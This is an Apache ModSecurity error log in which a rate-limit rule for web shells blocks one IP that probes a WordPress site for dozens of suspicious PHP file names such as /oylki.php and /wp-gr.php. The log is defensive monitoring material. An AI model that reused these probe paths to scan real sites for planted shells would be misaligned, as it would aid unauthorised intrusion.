[Sun Apr 26 05:03:41.411466 2026] [:error] [pid 31273:tid 31347] [client 20.199.180.228:65361] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "ae0sLfhcNJEGrATcuEevqgAAAUk"]
[Sun Apr 26 05:03:42.012546 2026] [:error] [pid 10315:tid 10339] [client 20.199.180.228:65356] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oylki.php"] [unique_id "ae0sLqJIw2vjkleLIaB6tgAAARY"]
[Sun Apr 26 05:03:42.597152 2026] [:error] [pid 8390:tid 8451] [client 20.199.180.228:65415] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oylki.php"] [unique_id "ae0sLoGPtFK_i9p5yxQDGgAAAIA"]
[Sun Apr 26 05:03:43.123989 2026] [:error] [pid 31273:tid 31354] [client 20.199.180.228:65400] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oylki.php"] [unique_id "ae0sL_hcNJEGrATcuEevrwAAAU8"]
[Sun Apr 26 05:03:43.643584 2026] [:error] [pid 8491:tid 8501] [client 20.199.180.228:65469] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oylki.php"] [unique_id "ae0sLyq7I7e6CJooQM1-FQAAAMI"]
[Sun Apr 26 05:03:44.259786 2026] [:error] [pid 31273:tid 31356] [client 20.199.180.228:14549] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about25.php"] [unique_id "ae0sMPhcNJEGrATcuEevsAAAAVE"]
[Sun Apr 26 05:03:44.783121 2026] [:error] [pid 8390:tid 8461] [client 20.199.180.228:65437] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about25.php"] [unique_id "ae0sMIGPtFK_i9p5yxQDHAAAAIo"]
[Sun Apr 26 05:03:45.369347 2026] [:error] [pid 41906:tid 41918] [client 20.199.180.228:65458] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about25.php"] [unique_id "ae0sMT3-0A3lxw9OXoDqNwAAAYo"]
[Sun Apr 26 05:03:45.924010 2026] [:error] [pid 8390:tid 8474] [client 20.199.180.228:65464] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about25.php"] [unique_id "ae0sMYGPtFK_i9p5yxQDHgAAAJc"]
[Sun Apr 26 05:03:46.446613 2026] [:error] [pid 8390:tid 8472] [client 20.199.180.228:65351] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/path.php"] [unique_id "ae0sMoGPtFK_i9p5yxQDIQAAAJU"]
[Sun Apr 26 05:03:47.058915 2026] [:error] [pid 41906:tid 41919] [client 20.199.180.228:65377] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/path.php"] [unique_id "ae0sMz3-0A3lxw9OXoDqOwAAAYs"]
[Sun Apr 26 05:03:47.590660 2026] [:error] [pid 8390:tid 8453] [client 20.199.180.228:14568] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/path.php"] [unique_id "ae0sM4GPtFK_i9p5yxQDJQAAAII"]
[Sun Apr 26 05:03:48.145092 2026] [:error] [pid 8383:tid 8403] [client 20.199.180.228:65451] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/path.php"] [unique_id "ae0sNNFa2S3EsATMdWOyfwAAAAY"]
[Sun Apr 26 05:03:48.711582 2026] [:error] [pid 10315:tid 10331] [client 20.199.180.228:65386] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ae0sNKJIw2vjkleLIaB6uQAAAQ4"]
[Sun Apr 26 05:03:49.285476 2026] [:error] [pid 8383:tid 8402] [client 20.199.180.228:65421] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ae0sNdFa2S3EsATMdWOyggAAAAU"]
[Sun Apr 26 05:03:49.887334 2026] [:error] [pid 8390:tid 8470] [client 20.199.180.228:14542] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ae0sNYGPtFK_i9p5yxQDLAAAAJM"]
[Sun Apr 26 05:03:50.547801 2026] [:error] [pid 8385:tid 8433] [client 20.199.180.228:14554] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ae0sNjOy7_J84Wx3-oxTAgAAAEk"]
[Sun Apr 26 05:03:51.125323 2026] [:error] [pid 10315:tid 10336] [client 20.199.180.228:65364] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "ae0sN6JIw2vjkleLIaB6uwAAARM"]
[Sun Apr 26 05:03:51.698966 2026] [:error] [pid 31273:tid 31336] [client 20.199.180.228:65388] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "ae0sN_hcNJEGrATcuEevuQAAAUE"]
[Sun Apr 26 05:03:52.269848 2026] [:error] [pid 8491:tid 8513] [client 20.199.180.228:65346] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "ae0sOCq7I7e6CJooQM1-GwAAAM4"]
[Sun Apr 26 05:03:52.844182 2026] [:error] [pid 10315:tid 10324] [client 20.199.180.228:65406] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "ae0sOKJIw2vjkleLIaB6vgAAAQc"]
[Sun Apr 26 05:03:53.438439 2026] [:error] [pid 41906:tid 41927] [client 20.199.180.228:14565] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/33.php"] [unique_id "ae0sOT3-0A3lxw9OXoDqQQAAAZM"]
[Sun Apr 26 05:03:54.089128 2026] [:error] [pid 41906:tid 41925] [client 20.199.180.228:14506] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/33.php"] [unique_id "ae0sOj3-0A3lxw9OXoDqRQAAAZE"]
[Sun Apr 26 05:03:54.625169 2026] [:error] [pid 8491:tid 8521] [client 20.199.180.228:65466] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/33.php"] [unique_id "ae0sOiq7I7e6CJooQM1-IAAAANY"]
[Sun Apr 26 05:03:55.256606 2026] [:error] [pid 31273:tid 31339] [client 20.199.180.228:65386] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/33.php"] [unique_id "ae0sO_hcNJEGrATcuEevvQAAAUM"]
[Sun Apr 26 05:03:55.804848 2026] [:error] [pid 31273:tid 31359] [client 20.199.180.228:14587] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "ae0sO_hcNJEGrATcuEevwAAAAVQ"]
[Sun Apr 26 05:03:56.388611 2026] [:error] [pid 10315:tid 10321] [client 20.199.180.228:65470] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "ae0sPKJIw2vjkleLIaB6xwAAAQQ"]
[Sun Apr 26 05:03:57.026291 2026] [:error] [pid 41906:tid 41908] [client 20.199.180.228:14573] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "ae0sPT3-0A3lxw9OXoDqTAAAAYA"]
[Sun Apr 26 05:03:57.574061 2026] [:error] [pid 8390:tid 8454] [client 20.199.180.228:14538] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-gr.php"] [unique_id "ae0sPYGPtFK_i9p5yxQDQgAAAIM"]
[Sun Apr 26 05:04:11.956082 2026] [:error] [pid 8491:tid 8517] [client 20.199.180.228:14500] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ae0sSyq7I7e6CJooQM1-QQAAANI"]
[Sun Apr 26 05:04:12.479411 2026] [:error] [pid 41906:tid 41929] [client 20.199.180.228:65442] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ae0sTD3-0A3lxw9OXoDqdwAAAZU"]
[Sun Apr 26 05:04:13.048089 2026] [:error] [pid 41906:tid 41925] [client 20.199.180.228:14507] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ae0sTT3-0A3lxw9OXoDqegAAAZE"]
[Sun Apr 26 05:04:13.774192 2026] [:error] [pid 10315:tid 10324] [client 20.199.180.228:65410] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ae0sTaJIw2vjkleLIaB6_QAAAQc"]
[Sun Apr 26 05:04:14.370712 2026] [:error] [pid 10315:tid 10317] [client 20.199.180.228:65432] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2019.php"] [unique_id "ae0sTqJIw2vjkleLIaB7AQAAAQA"]
[Sun Apr 26 05:04:14.865049 2026] [:error] [pid 10315:tid 10334] [client 20.199.180.228:14570] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2019.php"] [unique_id "ae0sTqJIw2vjkleLIaB7BQAAARE"]
[Sun Apr 26 05:04:15.361785 2026] [:error] [pid 10315:tid 10326] [client 20.199.180.228:14561] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2019.php"] [unique_id "ae0sT6JIw2vjkleLIaB7CQAAAQk"]
[Sun Apr 26 05:04:15.932311 2026] [:error] [pid 10315:tid 10325] [client 20.199.180.228:65372] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-2019.php"] [unique_id "ae0sT6JIw2vjkleLIaB7DQAAAQg"]
[Sun Apr 26 05:04:16.495538 2026] [:error] [pid 8491:tid 8513] [client 20.199.180.228:65389] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X57.php"] [unique_id "ae0sUCq7I7e6CJooQM1-RQAAAM4"]
[Sun Apr 26 05:04:17.001292 2026] [:error] [pid 8383:tid 8410] [client 20.199.180.228:14575] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X57.php"] [unique_id "ae0sUNFa2S3EsATMdWOylwAAAA0"]
[Sun Apr 26 05:04:17.476891 2026] [:error] [pid 41906:tid 41922] [client 20.199.180.228:65420] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X57.php"] [unique_id "ae0sUT3-0A3lxw9OXoDqggAAAY4"]
[Sun Apr 26 05:04:18.008401 2026] [:error] [pid 41906:tid 41908] [client 20.199.180.228:14541] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X57.php"] [unique_id "ae0sUj3-0A3lxw9OXoDqgwAAAYA"]
[Sun Apr 26 05:04:18.579721 2026] [:error] [pid 10315:tid 10319] [client 20.199.180.228:65368] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "ae0sUqJIw2vjkleLIaB7EgAAAQI"]
[Sun Apr 26 05:04:19.109472 2026] [:error] [pid 10315:tid 10338] [client 20.199.180.228:14556] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "ae0sU6JIw2vjkleLIaB7FQAAARU"]
[Sun Apr 26 05:04:19.665214 2026] [:error] [pid 10315:tid 10318] [client 20.199.180.228:65350] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "ae0sU6JIw2vjkleLIaB7GAAAAQE"]
[Sun Apr 26 05:04:20.206049 2026] [:error] [pid 41906:tid 41916] [client 20.199.180.228:65379] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "ae0sVD3-0A3lxw9OXoDqhgAAAYg"]
[Sun Apr 26 05:04:20.828972 2026] [:error] [pid 41906:tid 41910] [client 20.199.180.228:65398] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ae0sVD3-0A3lxw9OXoDqigAAAYI"]
[Sun Apr 26 05:04:21.328008 2026] [:error] [pid 8491:tid 8515] [client 20.199.180.228:14477] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ae0sVSq7I7e6CJooQM1-UQAAANA"]
[Sun Apr 26 05:04:21.832610 2026] [:error] [pid 8385:tid 8435] [client 20.199.180.228:65436] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ae0sVTOy7_J84Wx3-oxTDAAAAEs"]
[Sun Apr 26 05:04:22.368508 2026] [:error] [pid 10315:tid 10326] [client 20.199.180.228:14564] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "ae0sVqJIw2vjkleLIaB7GQAAAQk"]
[Sun Apr 26 05:04:22.913432 2026] [:error] [pid 31273:tid 31342] [client 20.199.180.228:14580] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ae0sVvhcNJEGrATcuEev4wAAAUU"]
[Sun Apr 26 05:04:23.481386 2026] [:error] [pid 8383:tid 8413] [client 20.199.180.228:14588] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ae0sV9Fa2S3EsATMdWOysgAAABA"]
[Sun Apr 26 05:04:24.118846 2026] [:error] [pid 31273:tid 31335] [client 20.199.180.228:14533] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ae0sWPhcNJEGrATcuEev7wAAAUA"]
[Sun Apr 26 05:04:24.748614 2026] [:error] [pid 10315:tid 10332] [client 20.199.180.228:14548] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ae0sWKJIw2vjkleLIaB7IAAAAQ8"]
[Sun Apr 26 05:04:25.516450 2026] [:error] [pid 41906:tid 41932] [client 20.199.180.228:65423] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file4.php"] [unique_id "ae0sWT3-0A3lxw9OXoDquwAAAZg"]
[Sun Apr 26 05:04:26.131675 2026] [:error] [pid 41906:tid 41914] [client 20.199.180.228:14581] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file4.php"] [unique_id "ae0sWj3-0A3lxw9OXoDqvwAAAYY"]
[Sun Apr 26 05:04:26.715084 2026] [:error] [pid 10315:tid 10319] [client 20.199.180.228:14468] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file4.php"] [unique_id "ae0sWqJIw2vjkleLIaB7JwAAAQI"]
